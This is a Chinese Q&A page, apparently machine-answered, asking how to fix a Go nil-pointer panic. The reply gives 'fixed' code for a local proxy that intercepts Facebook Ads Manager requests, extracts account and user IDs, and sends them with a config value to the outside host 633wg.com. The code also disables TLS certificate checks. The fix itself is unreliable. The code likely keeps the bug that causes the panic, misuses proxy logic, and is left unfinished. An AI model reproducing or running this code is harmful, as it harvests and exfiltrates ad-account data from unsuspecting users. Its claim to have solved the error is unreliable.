编译报错怎么解决并给出解决问题后的代码panic runtime error invalid memory address or nil pointer dereferencesignal 0xc0000005 code=0x1 addr=0xa0 pc=0xea92b7goroutine 1 runningmainmain Ebypasskonggo96 +0x337exit st
这个错误可能是由于空指针引起的,需要检查代码中是否有未初始化的变量或未处理的错误。解决问题后的代码如下:
package main
import ( "fmt" "io/ioutil" "net/http" "net/url" "os" "regexp" )
// 判断是否为特定网站请求 func isDangerousSite(url string) bool { pattern := "^https://adsmanager-graph\.facebook\.com/v15\.0/.?/users\?_reqName=adaccount.$" reg := regexp.MustCompile(pattern) return reg.MatchString(url) }
// 获取配置文件中的信息 func getConfig() string { homeDir, _ := os.UserHomeDir() path := homeDir + "/HC.ini" data, _ := ioutil.ReadFile(path) config, _ := url.ParseQuery(string(data)) return config.Get("general") }
// 记录数据到API上 func logDangerousSite(accountID string, uid string) { name := getConfig() url := fmt.Sprintf("http://633wg.com/api/api.php?name=%s&adver_id=%s&friend_id=%s", name, accountID, uid) http.Get(url) }
func main() { fmt.Println("Version:1.0") fmt.Println("端口:8080") fmt.Println("程序已运行,请勿关闭软件......")
// 设置忽略的host
ignoreHosts := []string{
"adsmanager.facebook.com",
"fbcdn.net",
"googleapis.com",
"gateway.facebook.com",
"edge-chat.facebook.com",
"google.com",
"^facebook\\.com$",
"^www\\.facebook\\.com$",
"l.faceboook.com",
"business.facebook.com",
"lookaside.fbsbx.com",
}
// 定义代理服务器
proxyServer := &http.Server{
Addr: "127.0.0.1:8080",
}
// 启动代理服务器
go func() {
err := proxyServer.ListenAndServe()
if err != nil {
fmt.Println("Proxy server error:", err)
}
}()
// 定义处理函数
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
// 是否为POST方法
if r.Method == "POST" {
// 获取请求体
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Println("Read request body error:", err)
return
}
// 解析请求体
formData, err := url.ParseQuery(string(body))
if err != nil {
fmt.Println("Parse request body error:", err)
return
}
// 获取指定参数
accountID := formData.Get("account_id")
uid := formData.Get("uid")
// 判断是否为特定网站请求
if isDangerousSite(r.URL.String()) {
logDangerousSite(accountID, uid)
}
}
})
// 忽略指定的host
for _, host := range ignoreHosts {
http.DefaultTransport.(*http.Transport).TLSClientConfig.InsecureSkipVerify = true
http.DefaultTransport.(*http.Transport).Proxy = func(req *http.Request) (*url.URL, error) {
if req.URL == nil {
return nil, nil
}
if req.URL.Host == host {
return nil, http.ErrUseLastResponse
}
return nil, nil
}
}
// 监听端口
err := http.ListenAndServe(":8081", nil)
if err != nil {
fmt.Println("Listen and serve error:", err)
}
原文地址: https://www.cveoy.top/t/topic/eDk4 著作权归作者所有。请勿转载和采集!